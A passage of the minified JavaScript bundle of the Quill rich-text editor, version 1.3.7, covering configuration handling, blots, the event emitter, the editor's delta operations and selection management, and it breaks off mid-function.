E(e,t){if((t=(0,p.default)(!0,{container:e,modules:{clipboard:!0,keyboard:!0,history:!0}},t)).theme&&t.theme!==w.DEFAULTS.theme){if(t.theme=w.import("themes/"+t.theme),null==t.theme)throw new Error("Invalid theme "+t.theme+". Did you register it?")}else t.theme=m.default;var n=(0,p.default)(!0,{},t.theme.DEFAULTS);[n,t].forEach((function(e){e.modules=e.modules||{},Object.keys(e.modules).forEach((function(t){!0===e.modules[t]&&(e.modules[t]={})}))}));var r=Object.keys(n.modules).concat(Object.keys(t.modules)).reduce((function(e,t){var n=w.import("modules/"+t);return null==n?b.error("Cannot load "+t+" module. Are you sure you registered it?"):e[t]=n.DEFAULTS||{},e}),{});return null!=t.modules&&t.modules.toolbar&&t.modules.toolbar.constructor!==Object&&(t.modules.toolbar={container:t.modules.toolbar}),t=(0,p.default)(!0,{},w.DEFAULTS,{modules:r},n,t),["bounds","container","scrollingContainer"].forEach((function(e){"string"==typeof t[e]&&(t[e]=document.querySelector(t[e]))})),t.modules=Object.keys(t.modules).reduce((function(e,n){return t.modules[n]&&(e[n]=t.modules[n]),e}),{}),t}function S(e,t,n,r){if(this.options.strict&&!this.isEnabled()&&t===s.default.sources.USER)return new a.default;var o=null==n?null:this.getSelection(),i=this.editor.delta,l=e();if(null!=o&&(!0===n&&(n=o.index),null==r?o=x(o,l,t):0!==r&&(o=x(o,n,r,t)),this.setSelection(o,s.default.sources.SILENT)),l.length()>0){var u,c,f=[s.default.events.TEXT_CHANGE,l,i,t];(u=this.emitter).emit.apply(u,[s.default.events.EDITOR_CHANGE].concat(f)),t!==s.default.sources.SILENT&&(c=this.emitter).emit.apply(c,f)}return l}function C(e,t,n,o,i){var a={};return"number"==typeof e.index&&"number"==typeof e.length?"number"!=typeof t?(i=o,o=n,n=t,t=e.length,e=e.index):(t=e.length,e=e.index):"number"!=typeof t&&(i=o,o=n,n=t,t=0),"object"===(void 0===n?"undefined":r(n))?(a=n,i=o):"string"==typeof n&&(null!=o?a[n]=o:i=n),[e,t,a,i=i||s.default.sources.API]}function x(e,t,n,r){if(null==e)return null;var i=void 0,l=void 0;if(t instanceof a.default){var u=[e.index,e.index+e.length].map((function(e){return t.transformPosition(e,r!==s.default.sources.USER)})),c=o(u,2);i=c[0],l=c[1]}else{var d=[e.index,e.index+e.length].map((function(e){return e<t||e===t&&r===s.default.sources.USER?e:n>=0?e+n:Math.max(t,e+n)})),p=o(d,2);i=p[0],l=p[1]}return new f.Range(i,l-i)}w.DEFAULTS={bounds:null,formats:null,modules:{},placeholder:"",readOnly:!1,scrollingContainer:null,strict:!0,theme:"default"},w.events=s.default.events,w.sources=s.default.sources,w.version="1.3.7",w.imports={delta:a.default,parchment:c.default,"core/module":u.default,"core/theme":m.default},t.expandConfig=E,t.overload=C,t.default=w},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=l(n(7)),a=l(n(0));function l(e){return e&&e.__esModule?e:{default:e}}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var c=function(e){function t(){return s(this,t),u(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"formatAt",value:function(e,n,r,i){if(t.compare(this.statics.blotName,r)<0&&a.default.query(r,a.default.Scope.BLOT)){var l=this.isolate(e,n);i&&l.wrap(r,i)}else o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"formatAt",this).call(this,e,n,r,i)}},{key:"optimize",value:function(e){if(o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e),this.parent instanceof t&&t.compare(this.statics.blotName,this.parent.statics.blotName)>0){var n=this.parent.isolate(this.offset(),this.length());this.moveChildren(n),n.wrap(this)}}}],[{key:"compare",value:function(e,n){var r=t.order.indexOf(e),o=t.order.indexOf(n);return r>=0||o>=0?r-o:e===n?0:e<n?-1:1}}]),t}(a.default.Inline);c.allowedChildren=[c,a.default.Embed,i.default],c.order=["cursor","inline","underline","strike","italic","bold","script","link","code"],t.default=c},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=n(0);function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l=function(e){function t(){return i(this,t),a(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(((r=o)&&r.__esModule?r:{default:r}).default.Text);t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=a(n(54));function a(e){return e&&e.__esModule?e:{default:e}}var l=(0,a(n(10)).default)("quill:events");["selectionchange","mousedown","mouseup","click"].forEach((function(e){document.addEventListener(e,(function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];[].slice.call(document.querySelectorAll(".ql-container")).forEach((function(e){var n;e.__quill&&e.__quill.emitter&&(n=e.__quill.emitter).handleDOM.apply(n,t)}))}))}));var s=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.listeners={},e.on("error",l.error),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"emit",value:function(){l.log.apply(l,arguments),o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"emit",this).apply(this,arguments)}},{key:"handleDOM",value:function(e){for(var t=arguments.length,n=Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];(this.listeners[e.type]||[]).forEach((function(t){var r=t.node,o=t.handler;(e.target===r||r.contains(e.target))&&o.apply(void 0,[e].concat(n))}))}},{key:"listenDOM",value:function(e,t,n){this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push({node:t,handler:n})}}]),t}(i.default);s.events={EDITOR_CHANGE:"editor-change",SCROLL_BEFORE_UPDATE:"scroll-before-update",SCROLL_OPTIMIZE:"scroll-optimize",SCROLL_UPDATE:"scroll-update",SELECTION_CHANGE:"selection-change",TEXT_CHANGE:"text-change"},s.sources={API:"api",SILENT:"silent",USER:"user"},t.default=s},function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var o=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};r(this,e),this.quill=t,this.options=n};o.DEFAULTS={},t.default=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=["error","warn","log","info"],o="warn";function i(e){if(r.indexOf(e)<=r.indexOf(o)){for(var t,n=arguments.length,i=Array(n>1?n-1:0),a=1;a<n;a++)i[a-1]=arguments[a];(t=console)[e].apply(t,i)}}function a(e){return r.reduce((function(t,n){return t[n]=i.bind(console,n,e),t}),{})}i.level=a.level=function(e){o=e},t.default=a},function(e,t,n){var r=Array.prototype.slice,o=n(52),i=n(53),a=e.exports=function(e,t,n){return n||(n={}),e===t||(e instanceof Date&&t instanceof Date?e.getTime()===t.getTime():!e||!t||"object"!=typeof e&&"object"!=typeof t?n.strict?e===t:e==t:function(e,t,n){var u,c;if(l(e)||l(t))return!1;if(e.prototype!==t.prototype)return!1;if(i(e))return!!i(t)&&(e=r.call(e),t=r.call(t),a(e,t,n));if(s(e)){if(!s(t))return!1;if(e.length!==t.length)return!1;for(u=0;u<e.length;u++)if(e[u]!==t[u])return!1;return!0}try{var f=o(e),d=o(t)}catch(e){return!1}if(f.length!=d.length)return!1;for(f.sort(),d.sort(),u=f.length-1;u>=0;u--)if(f[u]!=d[u])return!1;for(u=f.length-1;u>=0;u--)if(c=f[u],!a(e[c],t[c],n))return!1;return typeof e==typeof t}(e,t,n))};function l(e){return null==e}function s(e){return!(!e||"object"!=typeof e||"number"!=typeof e.length||"function"!=typeof e.copy||"function"!=typeof e.slice||e.length>0&&"number"!=typeof e[0])}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(1),o=function(){function e(e,t,n){void 0===n&&(n={}),this.attrName=e,this.keyName=t;var o=r.Scope.TYPE&r.Scope.ATTRIBUTE;null!=n.scope?this.scope=n.scope&r.Scope.LEVEL|o:this.scope=r.Scope.ATTRIBUTE,null!=n.whitelist&&(this.whitelist=n.whitelist)}return e.keys=function(e){return[].map.call(e.attributes,(function(e){return e.name}))},e.prototype.add=function(e,t){return!!this.canAdd(e,t)&&(e.setAttribute(this.keyName,t),!0)},e.prototype.canAdd=function(e,t){return null!=r.query(e,r.Scope.BLOT&(this.scope|r.Scope.TYPE))&&(null==this.whitelist||("string"==typeof t?this.whitelist.indexOf(t.replace(/["']/g,""))>-1:this.whitelist.indexOf(t)>-1))},e.prototype.remove=function(e){e.removeAttribute(this.keyName)},e.prototype.value=function(e){var t=e.getAttribute(this.keyName);return this.canAdd(e,t)&&t?t:""},e}();t.default=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.Code=void 0;var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=f(n(2)),l=f(n(0)),s=f(n(4)),u=f(n(6)),c=f(n(7));function f(e){return e&&e.__esModule?e:{default:e}}function d(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function p(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function h(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var m=function(e){function t(){return d(this,t),p(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return h(t,e),t}(u.default);m.blotName="code",m.tagName="CODE";var g=function(e){function t(){return d(this,t),p(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return h(t,e),o(t,[{key:"delta",value:function(){var e=this,t=this.domNode.textContent;return t.endsWith("\n")&&(t=t.slice(0,-1)),t.split("\n").reduce((function(t,n){return t.insert(n).insert("\n",e.formats())}),new a.default)}},{key:"format",value:function(e,n){if(e!==this.statics.blotName||!n){var o=this.descendant(c.default,this.length()-1),a=r(o,1)[0];null!=a&&a.deleteAt(a.length()-1,1),i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n)}}},{key:"formatAt",value:function(e,n,r,o){if(0!==n&&null!=l.default.query(r,l.default.Scope.BLOCK)&&(r!==this.statics.blotName||o!==this.statics.formats(this.domNode))){var i=this.newlineIndex(e);if(!(i<0||i>=e+n)){var a=this.newlineIndex(e,!0)+1,s=i-a+1,u=this.isolate(a,s),c=u.next;u.format(r,o),c instanceof t&&c.formatAt(0,e-a+n-s,r,o)}}}},{key:"insertAt",value:function(e,t,n){if(null==n){var o=this.descendant(c.default,e),i=r(o,2),a=i[0],l=i[1];a.insertAt(l,t)}}},{key:"length",value:function(){var e=this.domNode.textContent.length;return this.domNode.textContent.endsWith("\n")?e:e+1}},{key:"newlineIndex",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(t)return this.domNode.textContent.slice(0,e).lastIndexOf("\n");var n=this.domNode.textContent.slice(e).indexOf("\n");return n>-1?e+n:-1}},{key:"optimize",value:function(e){this.domNode.textContent.endsWith("\n")||this.appendChild(l.default.create("text","\n")),i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e);var n=this.next;null!=n&&n.prev===this&&n.statics.blotName===this.statics.blotName&&this.statics.formats(this.domNode)===n.statics.formats(n.domNode)&&(n.optimize(e),n.moveChildren(this),n.remove())}},{key:"replace",value:function(e){i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"replace",this).call(this,e),[].slice.call(this.domNode.querySelectorAll("*")).forEach((function(e){var t=l.default.find(e);null==t?e.parentNode.removeChild(e):t instanceof l.default.Embed?t.remove():t.unwrap()}))}}],[{key:"create",value:function(e){var n=i(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e);return n.setAttribute("spellcheck",!1),n}},{key:"formats",value:function(){return!0}}]),t}(s.default);g.blotName="code-block",g.tagName="PRE",g.TAB=" ",t.Code=m,t.default=g},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),a=v(n(2)),l=v(n(20)),s=v(n(0)),u=v(n(13)),c=v(n(24)),f=n(4),d=v(f),p=v(n(16)),h=v(n(21)),m=v(n(11)),g=v(n(3));function v(e){return e&&e.__esModule?e:{default:e}}var y=/^[ -~]*$/,b=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.scroll=t,this.delta=this.getDelta()}return i(e,[{key:"applyDelta",value:function(e){var t=this,n=!1;this.scroll.update();var i=this.scroll.length();return this.scroll.batchStart(),(e=function(e){return e.reduce((function(e,t){if(1===t.insert){var n=(0,h.default)(t.attributes);return delete n.image,e.insert({image:t.attributes.image},n)}if(null==t.attributes||!0!==t.attributes.list&&!0!==t.attributes.bullet||((t=(0,h.default)(t)).attributes.list?t.attributes.list="ordered":(t.attributes.list="bullet",delete t.attributes.bullet)),"string"==typeof t.insert){var r=t.insert.replace(/\r\n/g,"\n").replace(/\r/g,"\n");return e.insert(r,t.attributes)}return e.push(t)}),new a.default)}(e)).reduce((function(e,a){var u=a.retain||a.delete||a.insert.length||1,c=a.attributes||{};if(null!=a.insert){if("string"==typeof a.insert){var p=a.insert;p.endsWith("\n")&&n&&(n=!1,p=p.slice(0,-1)),e>=i&&!p.endsWith("\n")&&(n=!0),t.scroll.insertAt(e,p);var h=t.scroll.line(e),m=o(h,2),v=m[0],y=m[1],b=(0,g.default)({},(0,f.bubbleFormats)(v));if(v instanceof d.default){var w=v.descendant(s.default.Leaf,y),E=o(w,1)[0];b=(0,g.default)(b,(0,f.bubbleFormats)(E))}c=l.default.attributes.diff(b,c)||{}}else if("object"===r(a.insert)){var S=Object.keys(a.insert)[0];if(null==S)return e;t.scroll.insertAt(e,S,a.insert[S])}i+=u}return Object.keys(c).forEach((function(n){t.scroll.formatAt(e,u,n,c[n])})),e+u}),0),e.reduce((function(e,n){return"number"==typeof n.delete?(t.scroll.deleteAt(e,n.delete),e):e+(n.retain||n.insert.length||1)}),0),this.scroll.batchEnd(),this.update(e)}},{key:"deleteText",value:function(e,t){return this.scroll.deleteAt(e,t),this.update((new a.default).retain(e).delete(t))}},{key:"formatLine",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return this.scroll.update(),Object.keys(r).forEach((function(o){if(null==n.scroll.whitelist||n.scroll.whitelist[o]){var i=n.scroll.lines(e,Math.max(t,1)),a=t;i.forEach((function(t){var i=t.length();if(t instanceof u.default){var l=e-t.offset(n.scroll),s=t.newlineIndex(l+a)-l+1;t.formatAt(l,s,o,r[o])}else t.format(o,r[o]);a-=i}))}})),this.scroll.optimize(),this.update((new a.default).retain(e).retain(t,(0,h.default)(r)))}},{key:"formatText",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return Object.keys(r).forEach((function(o){n.scroll.formatAt(e,t,o,r[o])})),this.update((new a.default).retain(e).retain(t,(0,h.default)(r)))}},{key:"getContents",value:function(e,t){return this.delta.slice(e,e+t)}},{key:"getDelta",value:function(){return this.scroll.lines().reduce((function(e,t){return e.concat(t.delta())}),new a.default)}},{key:"getFormat",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=[],r=[];0===t?this.scroll.path(e).forEach((function(e){var t=o(e,1)[0];t instanceof d.default?n.push(t):t instanceof s.default.Leaf&&r.push(t)})):(n=this.scroll.lines(e,t),r=this.scroll.descendants(s.default.Leaf,e,t));var i=[n,r].map((function(e){if(0===e.length)return{};for(var t=(0,f.bubbleFormats)(e.shift());Object.keys(t).length>0;){var n=e.shift();if(null==n)return t;t=w((0,f.bubbleFormats)(n),t)}return t}));return g.default.apply(g.default,i)}},{key:"getText",value:function(e,t){return this.getContents(e,t).filter((function(e){return"string"==typeof e.insert})).map((function(e){return e.insert})).join("")}},{key:"insertEmbed",value:function(e,t,n){return this.scroll.insertAt(e,t,n),this.update((new a.default).retain(e).insert(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},t,n)))}},{key:"insertText",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return t=t.replace(/\r\n/g,"\n").replace(/\r/g,"\n"),this.scroll.insertAt(e,t),Object.keys(r).forEach((function(o){n.scroll.formatAt(e,t.length,o,r[o])})),this.update((new a.default).retain(e).insert(t,(0,h.default)(r)))}},{key:"isBlank",value:function(){if(0==this.scroll.children.length)return!0;if(this.scroll.children.length>1)return!1;var e=this.scroll.children.head;return e.statics.blotName===d.default.blotName&&!(e.children.length>1)&&e.children.head instanceof p.default}},{key:"removeFormat",value:function(e,t){var n=this.getText(e,t),r=this.scroll.line(e+t),i=o(r,2),l=i[0],s=i[1],c=0,f=new a.default;null!=l&&(c=l instanceof u.default?l.newlineIndex(s)-s+1:l.length()-s,f=l.delta().slice(s,s+c-1).insert("\n"));var d=this.getContents(e,t+c).diff((new a.default).insert(n).concat(f)),p=(new a.default).retain(e).concat(d);return this.applyDelta(p)}},{key:"update",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,r=this.delta;if(1===t.length&&"characterData"===t[0].type&&t[0].target.data.match(y)&&s.default.find(t[0].target)){var o=s.default.find(t[0].target),i=(0,f.bubbleFormats)(o),l=o.offset(this.scroll),u=t[0].oldValue.replace(c.default.CONTENTS,""),d=(new a.default).insert(u),p=(new a.default).insert(o.value()),h=(new a.default).retain(l).concat(d.diff(p,n));e=h.reduce((function(e,t){return t.insert?e.insert(t.insert,i):e.push(t)}),new a.default),this.delta=r.compose(e)}else this.delta=this.getDelta(),e&&(0,m.default)(r.compose(e),this.delta)||(e=r.diff(this.delta,n));return e}}]),e}();function w(e,t){return Object.keys(t).reduce((function(n,r){return null==e[r]||(t[r]===e[r]?n[r]=t[r]:Array.isArray(t[r])?t[r].indexOf(e[r])<0&&(n[r]=t[r].concat([e[r]])):n[r]=[t[r],e[r]]),n}),{})}t.default=b},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.Range=void 0;var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=u(n(0)),a=u(n(21)),l=u(n(11)),s=u(n(8));function u(e){return e&&e.__esModule?e:{default:e}}function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function f(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var d=(0,u(n(10)).default)("quill:selection"),p=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;f(this,e),this.index=t,this.length=n},h=function(){function e(t,n){var r=this;f(this,e),this.emitter=n,this.scroll=t,this.composing=!1,this.mouseDown=!1,this.root=this.scroll.domNode,this.cursor=i.default.create("cursor",this),this.lastRange=this.savedRange=new p(0,0),this.handleComposition(),this.handleDragging(),this.emitter.listenDOM("selectionchange",document,(function(){r.mouseDown||setTimeout(r.update.bind(r,s.default.sources.USER),1)})),this.emitter.on(s.default.events.EDITOR_CHANGE,(function(e,t){e===s.default.events.TEXT_CHANGE&&t.length()>0&&r.update(s.default.sources.SILENT)})),this.emitter.on(s.default.events.SCROLL_BEFORE_UPDATE,(function(){if(r.hasFocus()){var e=r.getNativeRange();null!=e&&e.start.node!==r.cursor.textNode&&r.emitter.once(s.default.events.SCROLL_UPDATE,(function(){try{r.setNativeRange(e.start.node,e.start.offset,e.end.node,e.end.offset)}catch(e){}}))}})),this.emitter.on(s.default.events.SCROLL_OPTIMIZE,(function(e,t){if(t.range){var n=t.range,o=n.startNode,i=n.startOffset,a=n.endNode,l=n.endOffset;r.setNativeRange(o,i,a,l)}})),this.update(s.default.sources.SILENT)}return o(e,[{key:"handleComposition",value:function(){var e=this;this.root.addEventListener("compositionstart",(function(){e.composing=!0})),this.root.addEventListener("compositionend",(function(){if(e.composing=!1,e.cursor.parent){var t=e.cursor.restore();if(!t)return;setTimeout((function(){e.setNativeRange(t.startNode,t.startOffset,t.endNode,t.endOffset)}),1)}}))}},{key:"handleDragging",value:function(){var e=this;this.emitter.listenDOM("mousedown",document.body,(function(){e.mouseDown=!0})),this.emitter.listenDOM("mouseup",document.body,(function(){e.mouseDown=!1,e.update(s.default.sources.USER)}))}},{key:"focus",value:function(){this.hasFocus()||(this.root.focus(),this.setRange(this.savedRange))}},{key:"format",value:function(e,t){if(null==this.scroll.whitelist||this.scroll.whitelist[e]){this.scroll.update();var n=this.getNativeRange();if(null!=n&&n.native.collapsed&&!i.default.query(e,i.default.Scope.BLOCK)){if(n.start.node!==this.cursor.textNode){var r=i.default.find(n.start.node,!1);if(null==r)return;if(r instanceof i.default.Leaf){var o=r.split(n.start.offset);r.parent.insertBefore(this.cursor,o)}else r.insertBefore(this.cursor,n.start.node);this.cursor.attach()}this.cursor.format(e,t),this.scroll.optimize(),this.setNativeRange(this.cursor.textNode,this.cursor.textNode.data.length),this.update()}}}},{key:"getBounds",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this.scroll.length();e=Math.min(e,n-1),t=Math.min(e+t,n-1)-e;var o=void 0,i=this.scroll.leaf(e),a=r(i,2),l=a[0],s=a[1];if(null==l)return null;var u=l.position(s,!0),c=r(u,2);o=c[0],s=c[1];var f=document.createRange();if(t>0){f.setStart(o,s);var d=this.scroll.leaf(e+t),p=r(d,2);if(l=p[0],s=p[1],null==l)return null;var h=l.position(s,!0),m=r(h,2);return o=m[0],s=m[1],f.setEnd(o,s),f.getBoundingClientRect()}var g="left",v=void 0;return o instanceof Text?(s<o.data.length?(f.setStart(o,s),f.setEnd(o,s+1)):(f.setStart(o,s-1),f.setEnd(o,s),g="right"),v=f.getBoundingClientRect()):(v=l.domNode.getBoundingClientRect(),s>0&&(g="right")),{bottom:v.top+v.height,height:v.height,left:v[g],right:v[g],top:v.top,width:0}}},{key:"getNativeRange",value:function(){var e=document.getSelection();if(null==e||e.rangeCount<=0)return null;var t=e.getRangeAt(0);if(null==t)return null;var n=this.normalizeNative(t);return d.info("getNativeRange",n),n}},{key:"getRange",value:function(){var e=this.getNativeRange();return null==e?[null,null]:[this.normalizedToRange(e),e]}},{key:"hasFocus",value:function(){return document.activeElement===this.root}},{key:"normalizedToRange",value:function(e){var t=this,n=[[e.start.node,e.start.offset]];e.native.collapsed||n.push([e.end.node,e.end.offset]);var o=n.map((function(e){var n=r(e,2),o=n[0],a=n[1],l=i.default.find(o,!0),s=l.offset(t.scroll);return 0===a?s:l instanceof i.default.Container?s+l.length():s+l.index(o,a)})),a=Math.min(Math.max.apply(Math,c(o)),this.scroll.length()-1),l=Math.min.apply(Math,[a].concat(c(o)));return new p(l,a-l)}},{key:"normalizeNative",value:function(e){if(!m(this.root,e.startContainer)||!e.collapsed&&!m(this.root,e.endContainer))return null;var t={start:{node:e.startContainer,offset:e.startOffset},end:{node:e.endContainer,offset:e.endOffset},native:e};return[t.start,t.end].forEach((function(e){for(var t=e.node,n=e.offset;!(t instanceof Text)&&t.childNodes.length>0;)if(t.childNodes.length>n)t=t.childNodes[n],n=0;else{if(t.childNodes.length!==n)break;n=(t=t.lastChild)instanceof Text?t.data.length:t.childNodes.length+1}e.node=t,e.offset=n})),t}},{key:"rangeToNative",value:function(e){var t=this,n=e.collapsed?[e.index]:[e.index,e.index+e.length],o=[],i=this.scroll.length();return n.forEach((function(e,n){e=Math.min(i-1,e);var a,l=t.scroll.leaf(e),s=r(l,2),u=s[0],c=s[1],f=u.position(c,0!==n),d=r(f,2);a=d[0],c=d[1],o.push(a,c)})),o.length<2&&(o=o.concat(o)),o}},{key:"scrollIntoView",value:function(e){var t=this.lastRange;if(null!=t){var n=this.getBounds(t.index,t.length);if(null!=n){var o=this.scroll.length()-1,i=this.scroll.line(Math.min(t.index,o)),a=r(i,1)[0],l=a;if(t.length>0){var s=this.scroll.line(Math.min(t.index+t.length,o));l=r(s,1)[0]}if(null!=a&&null!=l){var u=e.getBoundingClientRect();n.top<u.top?e.scrollTop-=u.top-n.top:n.bottom>u.bottom&&(e.scrollTop+=n.bottom-u.bottom)}}}}},{key:"setNativeRange",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:e,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:t,o=arguments.length>4&&void 0!==arguments[4]&&arguments[4];if(d.info("setNativeRange",e,t,n,r),null==e||null!=this.root.parentNode&&null!=e.parentNode&&null!=n.parentNode){var i=document.getSelection();if(null!=i)if(null!=e){this.hasFocus()||this.root.focus();var 